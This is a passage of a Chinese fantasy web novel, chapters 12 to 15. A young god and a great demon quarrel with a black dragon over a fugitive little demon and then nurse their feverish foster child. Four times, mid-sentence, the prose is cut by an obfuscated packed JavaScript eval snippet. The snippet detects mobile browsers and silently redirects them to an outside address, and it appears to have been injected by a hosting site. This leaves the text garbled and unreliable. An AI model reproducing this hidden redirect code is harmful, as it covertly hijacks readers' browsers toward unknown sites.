一股凛冽残暴的杀气直冲冬眠而来。 “小心！” 冬眠根本来不及反应，就像被那股杀气定在原地，一时竟没做出任何动作。 幸亏殷天还能反应过来，飞速上前将冬眠挡到身后。 但狠戾的杀招就招呼在了殷天身上，手臂破开一道深刻的伤口，温热鲜血飞溅到冬眠脸上。 里面哪还有小孩的存在，连中年男人都不见了，此时站在他们面前的，是个看上去和他们年龄相仿的年轻男人。 “……你没事吧！” 冬眠摸到脸上的温热，又嗅到了真实的血腥味，再冷血的内心都会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988871|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所波动——殷天挡在他身前那下，多少有点奋不顾身的意味了。 “没事。” 殷天沉声回答，另一掌心破开腥红的火点，这回终于完整抽出了自己的武器。 是一把近两米的黑色长枪，通体烧着红蓝的烈火，散发着骇人的阴森可怖。 “果然是头野兽。” 站在不远处的男人开了口。 “这种下贱的气味永远让我觉得恶心，就凭你也敢靠近我的孩子？” 听到“野兽”这两个字，殷天明显极度不爽，周身气场瞬间阴暗紧张许多。 “区区妖龙，就别学人类来父子情深这套了。” 长枪尖锐锋利的刃面指向男人，殷天开口同样恶毒狠辣。 “你儿子是条短命龙吧，我看他面相就像活不久的样子。” “……找死！” 显然殷天也狠狠戳中了对方的雷区，男人怒目圆睁，双手凝聚起两团惊人的蓝色电光，直冲殷天而来。 殷天不避不让，持枪迎战，枪身的火焰直冲几米之高。 可见两方的脾性同样糟糕，已经都冲着要对方性命上去了。 冬眠虽不清楚对方的实力，但很清楚殷天的实力。 这大魔物要真不管不顾进攻，爆发出来的杀伤力能当场铲平周边好几个城市。 双方速度极快，眨眼就要打到一起，冬眠根本来不及劝说，只能瞬移到两人中间，只身承受来自两边的巨大攻击。 “住手！” 要论攻击力，冬眠确实不够出色，单打独斗永远不会是殷天的对手。 但在防御这块，他拥有无限包容的能量。 他掌管世间所有树木，而树木又遍布世间每一个角落。 他不仅能将自己承受的伤害转移到树木身上，还能瞬间将这些伤害转换为树木的养料。 否则天界也不敢将看管殷天的任务交给他。 “……你们都住手！” 两边的杀气同时击落，冬眠只觉得身体都要被对半劈开了。 伤害虽然能够转移，但承受时的痛苦并不会减少。 殷天见他挡在了中间，立刻停手。 另一边的男人意识到冬眠身份，也选择停手。 虽然落地后嘲讽依旧：“真是丢脸啊野兽，居然带上了天界的镣铐，该恭喜你从野兽变成了家畜吗？” “……” 眼见殷天又要发作，但这回冬眠挡在了他面前。 男人脸上略带讥讽的笑容还没收回，一条毒刺藤蔓已经缠绕在他的脖颈。 “说话注意点。” 冬眠冷下了脸，语气带着冰凉的威胁。 “他是不是野兽，用不着你来评判。” “倒是你，妨碍天界执行任务，还企图弑神，是想与整个天界为敌吗？” “……” “既然想学人类父子情深这套，那下手前最好为你的孩子想想，纵使你能承担与天界为敌的后果，那你的孩子能承受吗？” “……” 这套说法算是精准打击了。 男人的脸色骤变，看向冬眠的眼神迅速染上厌恶，但果然没再多说什么。 殷天就站在冬眠身后，见此情形，收起了自己的武器。 接着朝男人挑眉摊手，嘴角的笑意无比挑衅。 12. 第 12 章 没想到小魔物的附身对象会是龙族幼崽，还是一条强大黑龙的后代。 那么想偷偷解决小魔物已经不太现实，事情变得棘手起来。 冬眠忍着躯体上的剧痛，揉了揉手臂：“如果不想让局面变得无法挽回……不如心平气和地来谈谈吧，怎么样？” “……” 男人满脸不情愿，可冬眠掐住了他的软肋，此刻周围黑色的无垠幻境褪去，变回了原本的病房。 虽然已是满地狼藉，床铺跟凳子飞得乱七八糟。 冬眠很在意殷天的伤口，毕竟那是替他挡下的，而他并不想欠大魔物任何人情。 眼下能看清了，伤口果然很深。 已经浸透衣服一大块，看上去鲜血淋漓，不忍直视。 冬眠皱起眉头：“……你的伤口，还好吗？” 对殷天而言，这样的伤势还不算严重。 痛是有点痛，也做不到瞬间恢复，但两三天就足够了，到时连疤痕都不会留下。 “没事，不用管我，过一会儿就不流血了。” “……” 只是冬眠难得表露关心，那殷天必然不会错过卖惨的机会。 他必须狠狠抓住，大卖特卖。 果然，他这么以退为进地一说，冬眠的眉头皱更深了。 殷天内心暗爽，面上还得演一演。 “这些外伤没事，只是看着吓人……你呢，还好吗？刚才那下没伤到你吧？” “我没事。” 冬眠摇摇头，这种疼痛过会儿就能消散。 “别硬撑，你脸色看上去就不太好，先坐下吧。” 殷天完好的那只手揽过冬眠，硬是按着人坐下。 “以后可别这么冲出来了，万一真伤到你怎么办？” 坐下好受些，冬眠缓了缓后开口：“……放心，我有分寸，不会拿自己性命开玩笑的。” “……” 男人无法加入他们的话题，被迫选择聆听。 满脸的不情愿也逐渐变成不耐烦跟无语。 终于等到空隙插话，男人叠着手臂：“……你们两个不会是一对吧？” 表现得真肉麻真恶心。 冬眠迅速想要否认，只可惜没赶上殷天承认的速度。 “这都能看出来，算你还有几分眼光。” “……” 冬眠绝望地闭了闭眼。 只能安慰自己，算了……算了算了，反正他们的真实情况也是越少人知道越好，解释起来又太麻烦。 男人忍着嫌弃：“不想看出来都难吧，换谁都能看出来。” 这点小伤对一头野兽来说算什么？ 用得着这么肉麻吗？ 冬眠：“……” 更绝望了。 男人也不想给他们继续“肉麻”的机会，说完后就接上：“既然你们提议心平气和地谈谈，那就来谈吧。” “不妨先谈谈你们所谓的任务？” 这正合冬眠心意，他也想赶紧转移话题。 “有个小魔物冲破天界的关押封印，逃到人间来了，我们就是来诛杀他的。” 冬眠看着男人：“会出现在这里，正是因为小魔物附身到了你孩子身上。” 男人闻言，立即大声否认：“不可能！绝对不可能！” “什么小魔物！要真有这种东西，怎么敢在我眼皮底下晃悠，我更不可能让这种东西附在我孩子身上！” “你别激动，激动也没用。”殷天接道，“小魔物最厉害的本事，就是能完全隐藏自身气息，除了我没人能找到他在哪。” 男人挑眉：“凭什么只有你能找到？” “……” 那就有些说来话长了。 小魔物原先也算不上什么小魔物，只是一团在天地间漂泊的混沌之气，力量微弱，以小幼崽的各种负面情绪为食。 但小幼崽的负面情绪总体较弱，大部分也就是些淘气捣蛋，所以小魔物的灵力一直不强，除了偶尔能搞下恶作剧，再没什么其他本事。 直到上千年前，小魔物偶然漂泊到殷天栖息的深渊之处，在里面迷了路，怎么都出不去。 吸食不到能量，小魔物很快变得虚弱无比，被迫等待死亡降临。 可就在这个时候，酩酊大醉的殷天路过，酒后一时心血来潮，出手救下了小魔物，还为其注入大量灵力。 这不仅让小魔物复活，更让其灵力上升到了前所未有的高度。 小魔物自此真正诞生。 顺利离开深渊后，小魔物便开始四方作乱，仗着能隐藏气息，附身一个又一个幼崽，最先遭殃的就是天界，被搞得混乱不堪，乌烟瘴气。 为抓住小魔物，天界费了好大一番功夫，本想着只是将其无期限封印，直到灵力耗尽，自然死亡那天。 谁知小魔物竟会强行冲破封印。 既然成为天界逃犯，那么下场只有就地诛杀了。 而能将天界都搅到乌烟瘴气的小魔物，在人间的杀伤力更是无法估量。 为杜绝悲剧发生，天界这才不得不释放殷天，并与他达成自由协议，就是希望他能找到小魔物的下落。 “说来说去，罪魁祸首还是你这头野兽，要不是你乱来，压根就不会有这个小魔物。” 男人听完来龙去脉，矛头直指殷天。 “如果真有这样的小魔物附在我孩子身上，你就准备好跟小魔物一起下地狱吧。” “……” 生怕殷天再次暴走，冬眠赶紧站起来，挡住男人的视线。 “还请你放尊重一些，现在他受天界看管，后续如何处置，自有天界做主。” 男人冷哼，将手一摊，对冬眠的态度也没好到哪去：“差点忘记你们是一对了，你当然向着他说话。” “……” 冬眠突然觉得刚才真被对半劈开也挺好，至少不用被这样误会侮辱。 “……既然你知道了来龙去脉，还请配合我们的任务。” 冬眠深呼吸缓了缓，才能继续说下去。 “如果小魔物真附在你孩子身上，那后果将不堪设想。” 比起普普通通的人类幼崽，吸收神兽幼崽的灵力能使小魔物更快恢复。 先不说这会对神兽幼崽造成多大伤害了，一旦小魔物恢复，能反过来操控神兽幼崽，那么必然是一加一大于二的杀伤力，到时候想抓捕就更难了。 但男人并不打算配合：“除了野兽的直觉外，还有其他认定证据吗？” 他问：“凭什么认定小魔物是附在了我孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988872|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上？” 殷天已经开始不耐烦：“因为小魔物只能附身幼崽，懂了吗？他没办法附到成年人身上。” “我的意思是，那你们的孩子呢，难道就没有任何嫌疑吗？” “……” “按照你们的说法，当时房间里可不只一个小孩，凭什么就直接认定小魔物是在我孩子身上？” 这真是冬眠跟殷天都没设想过的角度。 依照正常逻辑来说，是不能排除这个可能——但对象是冬日啊——那么这可能吗？这怎么都不可能吧。 “在人类幼崽跟龙族幼崽之间，小魔物肯定选择龙族幼崽，这是可以直接下定论的程度。” 殷天道：“而且我们的孩子就是个小脆瓜，瘦弱没用还营养不良，受伤的小魔物怎么可能对他下手？” “这可不好说，凡事无绝对。”男人接上，“而且要这么说的话，我家小孩也是条小脆龙，灵力微弱还爱生病，小魔物选他也没必要吧？” “……” “……” 俩孩子遇上的地方正是医院，确实都身体不好，没法反驳。 “而且又怎么证明你们的判断正确？假使真附在孩子身上，你们准备怎么消灭小魔物？” 殷天回道：“我的咒术可以逼小魔物脱离附身对象，试试就知道了。” 男人警觉地问：“会对孩子造成伤害吗？” “……” 毕竟是大魔物的咒术，又是要逼小魔物现身的咒术，那必然是会有点伤害的。 除去能直接对小魔物造成伤害的效果，还能顺便让被附身的小幼崽体验下生不如死的极致痛楚。 只是为了守护世界和平，殷天决定保留一点无关紧要的细节。 “多少是会有点伤害，但放心吧，你那条脆龙小子能忍住。” 男人眯起眼，显然充满怀疑：“……是吗，既然如此，那就让你家小孩先试试吧。” ……好歹毒的试探！ 殷天又不能表现太明显：“我家小孩只是个没用的人类，任何咒术都会对他造成伤害，拿这招用在他身上就过分了吧？” “不管他是什么，既然当时他也在病房内，那就不能排除他的嫌疑。” “要想我配合你们的任务，那从你们的孩子开始，这样才最公平吧？” “你知道被小魔物附身意味着什么吗？”殷天只好换种说法，“在小魔物自愿脱离之前，会不断汲取孩子身上的灵力，直到他灵力耗尽枯竭，你想看到你的孩子变成这样吗？” “不用拿这招激我，我不会让这种事发生的。” 男人自信回道：“就算真有小魔物附身，我也不会让我的孩子灵力枯竭。” “够了，没时间跟你磨磨蹭蹭，小魔物能感知到我的气息，要知道我在这附近，他很快就会逃跑，这个后果你能承担吗？” 跟男人打斗的时候，殷天起过真正的杀意，更不用说还受伤流血，这种气味怎么都遮不住。 小魔物要真在这附近，受再重的伤都会连夜逃跑。 “那跟我有什么关系，追杀小魔物又不是我的任务。” 男人坚持到底：“总之我就一句话，要想对我的孩子施展咒术，就先用这招洗清你们自己小孩的嫌疑，否则一切免谈。” 13. 第 13 章 谈判失败。 冬眠很惆怅，殷天很生气。 “那条该死的老贱龙，真该把他一枪捅穿了。” 回到冬日病房后，两人脸色都不好。 殷天越想越气，要不是先在冬眠面前装了受伤，真会掉头回去打架。 冬眠身上的疼痛已经消散，但心情更加沉重。 来人间这么久，第一次得到小魔物的下落，结果遇上这么块绊脚石，难道真要他眼睁睁看着小魔物逃走？ 冬眠问道：“……你刚才说的话，小魔物感知到你的气息就会逃走，是真的还是假的？” “不逃留下来等死吗？”殷天道，“小魔物也不是傻的，刚才那么一闹，估计现在早没影了。” 还说不打草惊蛇，这下好了，直接捅穿巢穴了。 小魔物再不逃就算自杀了。 “……” 冬眠心情更沉重了。 “但也不用太担忧，不管他逃到哪里，我再找出来就是了。” “可时间拖得越久，小魔物恢复就越多，之后想找的难度也越大吧。” “之后他就不会有这么好的运气了。”殷天道，“人间哪来这么多神兽幼崽，这回是个意外。” 冬眠叹气：“但愿吧。” 殷天安慰：“别气馁，总之有我在，找到小魔物是迟早的事。” 大概跟殷天的相处中，时刻都在经历大起大落的情绪波动，此刻听到他类似安慰的话语，竟产生了一种莫名其妙的安定感。 冬眠很轻哼了声：“你最好是。” “我能不能自由还在你手上呢，小神仙。”殷天挑挑眉，“把我当狗一样使唤，我巴不得早点弄死那个小魔物，嘶——” 边说边动作摊手，下场就是扯到了受伤的手臂，殷天忍耐着也还是嘶出了声。 “……伤口在疼吗？” 看到殷天的伤势，冬眠克制了想还嘴的念头。 看在是为他挡伤的份上，就让殷天一回吧。 “把手伸过来，我看看能不能给你疗伤……” 殷天老实将手臂伸过去。 表面看似沉默，一言不发，内心已经暗爽到不行。 还得是苦肉计啊。 虽然平时总对他冷冰冰的，一直没什么好脸色，但小神仙到底心地善良，还愿意为他治疗伤口。 并且他的演技也顺利过关，没引起小神任何怀疑。 殷天对寻找小魔物这件事就没积极过，今天难得积极，也是小魔物的气味发生变化，让他好奇原因罢了。 比起抓住小魔物，他内心更希望小魔物逃跑。 所以最开始走进那间病房时，他已经留下了自己的气味。 只是真没料到那小孩会是龙族后代——但也正好，男人这么一闹，等于为他打了个完美掩护，小魔物的逃跑时间都变充裕。 先假装不经意地暴露气味。 接着在冬眠面前演戏，还抓住机会好好卖了回苦肉计。 虽然很讨厌那条犯贱黑龙，可多亏有他，一切才变得顺理成章。 温凉湿润的触感覆盖包裹着伤口，冬眠认真为殷天疗愈着伤口。 但他用尽法术，也只是勉强帮殷天止住了血，并不能愈合伤口。 冬眠感到非常挫败：“……我只能这样了，抱歉，治疗不是我的强项。” 黑龙跟大魔物的法力都在他之上，他就像拿着绷带去堵血窟窿，是真尽力了。 不过殷天见好就收，今天得到的一切效果已经超他预期，可不能因为太贪心导致翻车。 “这样就足够了。”他道，“已经好很多了，不疼了。” “……” 大魔物难得说回正经话，反叫人很不适应。 冬眠只好转移视线，看向还在熟睡中的冬日。 小家伙不知何时蹬开一边的被子，四肢大开大合，直接睡成一个“大”字型。 吃饱了睡得特别香。 真会发出“呼呼”的呼吸声，小小的胸膛上下起伏着。 该叫人怎么说呢。 说这小家伙看着心大吧，实际平时胆小话少，稍微对他多说两句，立刻连开口都不敢了，只敢睁着眼睛眨巴眨巴。 可说他真胆小内向吧，突然换个环境照样能呼呼大睡，睡相还略有些狂野。 但不管是什么，小家伙都拥有让他恢复心情的超能力。 不管刚才心情如何沉重，此刻都被他的可爱模样治愈了大半。 冬眠为小家伙重新盖好被子，又没忍住伸手指戳了戳他软糯的小脸。 真可爱。 真像个小汤圆啊，感觉都能直接戳出馅来。 冬眠盯着看了好一会儿，然后压低声音问殷天：“……你说那黑龙的话会有可能吗？小魔物要真附在日日身上该怎么办？” 没这个意识时，怎么都想不到这种可能上去。 但被人一提醒，再没可能的事情都会忍不住幻想几分。 “你说有可能吗？”殷天冷哼，“是我太没用还是小魔物着急想寻死？” “可你不是说，小魔物能完全隐藏气息吗？”冬眠道，“那么按照这个理论，只要小魔物不换附身对象，不起杀意，也能一直附在日日身上？” “理论上是这样没错，但小魔物身受重伤，找这么个营养不良的小不点附身做什么？是生怕自己恢复太快了吗？” “……” 原本冬眠也开始觉得凡事无绝对，毕竟有时最危险的地方最安全了，但殷天这么一说，直接将他所有疑虑统统打消。 也是。 他们捡到冬日时，小家伙自己都快饿死了，养到现在都还瘦弱。 小魔物附身这样的孩子有什么用，跟着他三天饿九顿吗？ 更何况就在殷天眼皮底下，风险还更大，小魔物再嚣张都不能拿命这么赌吧？ “我知道，这回好不容易找到小魔物下落，却被硬生生妨碍，感觉是很不爽。但既然能找到一次，就能找到无数次，我保证找到小魔物就将他大卸八块。” 冬眠还能说什么。 只能将叹气藏在心里，重新打起精神：“……嗯。” …… 第二天，冬日的几项检查结果出来了，除了营养不良跟轻微贫血外，其他没有任何异常。 但那天突然吐血的情况真实存在，而且还是殷天跟冬眠轮流施法都无效的程度。 真是很奇怪。 更奇怪的是，明明前一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988873|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天都没事了，一觉睡醒后，小家伙又猛猛饱餐一顿，到晚上更是能跑能跳，看上去活力十足。 但第二天早上突发高烧，直接烧到39.5度，烧得脑袋昏昏沉沉，蔫了吧唧，被迫安安静静地躺在病床上挂盐水。 “从目前的检查结果来看，身体是没有太大问题的，可能就是营养不良，所以免疫抵抗力比较差。” “……可他昨天精神还挺好的，晚上吃饭时的胃口也很好，今天怎么就突然发烧了呢？” 医生问：“昨晚吃了什么？” “他吃了一份肉沫盖浇饭，又吃了两个小鸡腿，一个荷包蛋，一份蔬菜沙拉……还有半个苹果，一盒蓝莓……睡前又说饿，吃了两包小饼干，一个小面包……” 喂的时候没觉得有什么，他们多少开始习惯小家伙的大胃口了，都不认为昨晚吃得多，毕竟饭才吃了一碗。 可这么口述重复一遍，说到后来，冬眠自己都有些不好意思……这哪里不多了，正常小孩能吃这么多吗？！ 医生听完，表情更是不敢置信：“你们在家也这么喂孩子吗？” 冬眠点点头，声音很轻：“……嗯。” 没敢说在家吃得还更多。 “在家吃得差不多，不过一直好好的啊……” 医生叹气：“吃太多了，成年人一顿都不一定能吃这么多，要天天这么吃，肯定会吃出毛病来啊。” “积食也会导致小朋友发烧的，以后注意少喂点，也要少吃饼干面包这些零食，没有营养。” “……” 冬眠连连点头，认真听医生的话。 要说积食的话，确实很有可能。 看来以后真得少喂些，孩子的身体健康最要紧，有时喂太多反而成了种负担。 “剩下的就等其他检查结果出来再说吧，要都没问题，我建议你们得去精神科看看。” “……” “有可能是精神压力过大导致的躯体化症状，不要因为孩子年纪小就忽视这点。” “……” 冬眠呆愣点点头，看上去好像有点走神，实际瞬间认可医生的说法，已经在脑海内展开回忆。 细想小家伙平日的内向胆小，只有在吃东西时才最轻松的模样…… 难道是一直在压抑自己的情绪不敢表达，只能通过食物发泄吗？ 很有可能。 那么小的孩子，却经历过残忍深刻的流浪与饥饿，内心创伤一定很严重。 那么具小小的身躯，不知每天都承受着多大的恐惧跟压力。 可他们却没注意过这点，一直到孩子吐血住院，身体亮起红灯才发现……真是太不应该了！ 难怪他跟殷天轮流施法都没用！ 因为问题并不在躯体，而在于那颗幼小脆弱的心灵啊！ 一对合格的人类家长绝对不会让情况变成这样！ 他们这对冒牌货需要学习的方面还太多了！ 大彻大悟后，冬眠决定痛改前非。 一，等小家伙稍微好些了，立刻带他去看精神科。 二，转移小家伙对食物的兴趣，戒掉他对食物的依赖。 三，以后一定严格控制饮食，再也不喂小家伙这么多了。 14. 第 14 章 发烧的感觉很不好受。 躯体四肢无力，脑袋沉重，意识飘忽涣散，反复陷入光怪陆离的梦境。 梦里笼罩着阴森的黑暗，仅有身前一点昏暗的灯光。 而身后的无限黑暗中，正有恐怖巨大的野兽追赶。 冬日嗅到了野兽身上的气味。 带着沉重的压迫，以及一股无法忽视的，非常惊人的，想取走他性命的威胁。 他很害怕很恐惧。 只能拼命迈动双腿，不停往前逃跑。 可不管怎么跑都跑不出黑暗，野兽的气味始终将他围绕，仿佛被无法挣脱的蛛丝缠绕。 跑了很久很久，跑到气喘吁吁满头大汗，却还是没能跑出这块黑暗，更没甩掉隐藏在黑暗中的可怕野兽。 冬日累到不行，想要放弃挣扎，干脆被野兽吃掉算了。 可才停下脚步，心底就蹿出一阵慌乱的紧迫，像是有什么东西在警示催促他，不可以停下脚步，必须继续往前跑。 自己的躯体竟跟自己的思想产生了对抗。 冬日本能排斥这种感觉。 于是固执停在原地，不肯再挪动脚步。 谁知心底的紧迫感也越来越强，似乎还逐渐变成某种“意识”——却不是他自己的“意识”，而是某种独立的，像是入侵的”意识”。 “意识”发现催促没用，冬日是真不愿意再往前跑后，便想从他体内分裂出去，开始到处乱蹿。 蹿到脑袋，冬日觉得脑袋疼。 蹿到四肢，冬日立刻四肢无力。 最后浑身都被蹿遍，冬日便浑身难受，没一块舒服的地方。 但“意识”始终没能从他体内出去。 并且随着冬日的虚弱，“意识”也开始变得虚弱。 有种说不出的微妙感觉。 好像是他的身体封印了“意识”，可又好像是身体被“意识”操控着。 总之他们无法跟对方分离，变成了一种古怪的共生关系。 冬日能感受到“意识”无法脱离的惊慌，也能感受到“意识”对黑暗野兽的恐惧。 太多沉重的情绪叠加，紧紧将他束缚，几乎要压制住他的呼吸，让他难受到不行。 好累，他真的跑不动了。 可是黑暗好可怕，野兽的气味好可怕。 怎么办—— 怎么办怎么办—— 他要窒息了。 他浑身都在痛，四肢丝毫不能动弹，他是不是要死在这场梦境里了—— “……日日？日日？” “……宝宝？你醒醒？宝宝？” 终于摆脱这场压抑绝望的梦境，呼入鲜活的氧气，冬日睁开沉重眼皮，最先看到殷天凶凶的臭脸。 就像黑暗中的野兽走到光亮处来了。 而自己还被梦中的野兽气味包围着，一股发自内心的恐惧直冲头顶。 冬日惊恐叫喊出声：“——啊！不，不要吃我！” 一边紧紧闭上眼，小小的身躯缩成一团，非常可怜地瑟瑟发抖。 殷天：“……” 他做什么了请问？ 他什么都没做吧？他只是安静地守在旁边，明明还对孩子有所担心啊？ 嗯？ 孩子就是这么回报他的？ 可以预见长大后是个不孝子的场面了，果然还是等养肥点后一口吞了吧。 冬眠无暇顾及破防的大魔物，伸手轻轻拍着小家伙的后背：“不怕不怕，宝宝不怕……是不是做噩梦了？不怕不怕，现在已经醒了，爸爸就在这里……” 小家伙一直高烧不退，期间还做起了噩梦。 在床上扭来扭去，时不时呓语几声，呼吸非常急促，好像连气管都堵住，下一口就要喘不上气了。 叫人担心又心疼。 那么娇小脆弱的身躯，却承受着巨大痛苦——冬眠很想为他缓解些，偏偏什么都做不到。 唯一能做的，只有将他从噩梦中唤醒。 结果睡迷糊的小家伙看到殷天，又活生生被吓一跳。 更可怜了。 “没事了没事了……宝宝没事了，你看，是爸爸啊……爸爸怎么会吃你呢，对不对？” 殷天：【会吃，我现在就能把他一口吃掉】 冬眠：【你给我闭嘴】 冬眠：【你这张脸我都不想说，以后不许凑孩子这么近】 殷天：…… 冬日听清了冬眠的声音，渐渐开始清醒。 只是嘴巴仍旧迷糊，可怜兮兮地说道：“呜……不要吃宝宝，宝宝不好吃的！” 冬眠又没忍住笑意。 这小家伙，怎么做到可怜的同时还这么可爱的？ “不吃宝宝，没人要吃宝宝……好了好了，不怕了，没事了……” 耐心哄了好一会儿，冬日才彻底醒来。 毕竟是噩梦跟发烧的双重叠加，能忍住没哭出声，他觉得自己已经非常勇敢。 “……爸、爸爸？” “嗯，是爸爸。”冬眠摸摸他的脸颊，“刚才是不是做噩梦啦？” “……” 回忆起梦境里无限的黑暗，跟始终潜藏在黑暗中的巨大野兽，冬日仍觉得害怕，好像野兽的气味还萦绕在身边，直接从梦境带到了现实。 殷天无视冬眠的警告，非要凑到冬日面前：“刚才梦到什么了，喊那么可怜，难道是爸爸在梦里吃你？” 冬眠瞪他一眼，赶紧伸手推开：“我们宝宝又不是故意的，只是刚才没睡醒，身体又不舒服，对不对？” 冬日还在缓慢反应中。 要只听殷天说的话，他真会觉得自己做错了什么，冬眠为他解释后，他才能放心。 努力点点自己沉重的小脑袋，冬日开口解释：“……我、我不是，故意的……是真的，有大怪兽，在追我……” “我，跑跑跑……大怪兽，追追追……我很害怕，我不想，被吃掉……” 一个充满孩子气的噩梦。 大人想象不出梦中的场景，自然也无法理解这种恐惧。 只有真实关心却敷衍的安慰：“现在没事啦……宝宝已经醒了，醒来就没有大怪兽了，爸爸会保护你的。” 冬日看向冬眠，很信赖地点点头。 点完后又看了殷天一眼，眼神带着微妙的警觉跟怀疑。 而后什么话都没说，只是默默拉高被子，将眼睛以下的部位全盖住了。 殷天：？ 刚才那下就够让大魔物心情不好了，没想到这里还有一回等着他。 殷天：【这小子好像在内涵我？你看到他那眼神了吗？】 冬眠：…… 崽的眼神如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988874|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显，他当然也发现了。 尽管他觉得这算不上内涵，可眼神里的恐惧跟怀疑真实存在。 但冬眠能承认吗？ 想想他们之间少到能忽略不计的父子之情，那当然不能。 冬眠：【是你的错觉吧】 殷天：【？这是我的错觉吗？你没看到他还特意拉高了被子吗？】 冬眠想硬说那是因为孩子在发烧，身体忽冷忽热很正常。 只是在他就要这么胡说前，护士先一步走进病房，准备给冬日打针了。 其实来医院那天就抽过血，挨过针，不过那时冬日意识不清，体验感为零。 今天是清醒状态下第一次打针，不知者无畏，小家伙还没意识到接下去等待着自己的是什么。 只知道一只手被护士阿姨摆弄着，护士阿姨还夸他很勇敢很厉害。 脑袋昏沉也不妨碍小家伙享受这种赞美，哪怕不知道自己为何收到这种赞美，但照单全收就是了。 直到针头扎破他的皮肤，尖锐的疼痛立刻传遍全身。 “嗷嗷嗷——呜呜呜——哇哇哇——” 冬日当场爆哭出声。 噩梦没能把他吓哭，一针下去立刻老实了。 “呜呜哇哇哇——” 好在哭归哭，手臂没有乱动，否则针头滑位，他又要再挨一针。 “好了好了，已经打完了，不哭不哭。” 冬眠怕他乱动，连忙固定住小家伙的手臂，接着整个抱进自己怀中。 前一秒还想着呢，原来小家伙这么勇敢，面对打针没有丝毫恐惧，还能做到面无表情。 真相竟是没反应过来。 养崽两个月，该做的事情虽没做成，可耐心得到明显提升。 冬眠一边柔声哄着，一边释放安定法术，帮助小家伙平复情绪。 庆幸这类法术还能起效，冬日的哭声很快停止。 一时没人说话。 直到殷天突然笑了一声，笑得有些令人摸不着头脑。 冬眠下意识抬眼看他，同一秒，大魔物的声音就这么闯入脑内。 殷天：【你这样好人-妻】 冬眠：………… 非常后悔抬头看了这么一眼。 他就不该对大魔物的行为产生任何好奇。 冬眠绝望闭眼，默默深呼吸调整情绪，根本不愿搭理。 可大魔物不放过他。 殷天：【你知道这个词吗，我前几天新学的，意思是——】 冬眠：…… 冬眠：【闭嘴闭嘴闭嘴你闭嘴】 该死的心声交流。 虽然能避开他人进行秘密交流，可冬眠也受不了殷天总是拿它当骚扰武器。 冬眠：【信不信我勒死你？】 殷天：【像前两天那样吗？】 冬眠记得那晚，那时他说话很不客气，不仅动手勒人脖子，还说殷天是看门狗，要他滚—— 从殷天之后的反应来看，他也是有被那些词汇刺激到而不爽的。 冬眠：【当然会比那样更过分】 冬眠：【信不信我真给你套上项圈】 殷天：【好啊】 岂料大魔物很爽快地答应了。 殷天：【如果你喜欢这么玩，我会很配合的】 冬眠：………… 15. 第 15 章 冬眠恨不得将这大魔物狠狠暴打一顿。 可看在他先前为自己受伤的份上，又当着孩子的面，只能忍住冲动，改想其他办法把大魔物赶出去。 “你去给日日买早餐。” 于是开口使唤上了。 殷天能听出他隐藏的怒气，但内心控制不住暗爽。 没办法。 惹毛清冷温润的小神仙，就是一件很爽的事。 不过面上有所收敛，没太过分，直接应了：“我去。” “买清淡些的。” “知道了。” 冬日已经在冬眠的安抚下平静许多。 只是从此多了件害怕又讨厌的事而已。 药水是凉的，通过针头输送进身体，没几分钟，冬日就觉得打针的小手也冰凉，连带着整条手臂都凉了一半。 手背上还残留着皮肤被戳破时的疼痛，留置针又大，光是看着，后怕一阵接一阵。 好可怕。 真的好可怕。 他僵直了挨打的那条手臂，根本不敢挪动一下。 噩梦的恐惧，发烧的难受，打针的疼痛。 三折叠，怎么叠都难受。 冬日真觉得自己是这世上最凄惨最可怜的小饕餮崽崽。 难受到吃东西的胃口都要没了，早餐最多只能吃光两碗饭了。 所有的安慰期待落在殷天即将带回的早餐上。 然后—— 殷天只带回来两碗粥。 一碗蜜枣枸杞小米粥，一碗干贝虾仁粥。 不是殷天故意少买，而是昨天听完医生的话后，冬眠下定决心要控制小家伙的饮食，那他当然配合指挥行动。 “吃吧宝宝。” 殷天将两个打包盒打开，眼下还是有点故意欺负的成分在。 语气笑得很坏心眼：“想吃甜的就甜的，想吃咸的就咸的。” 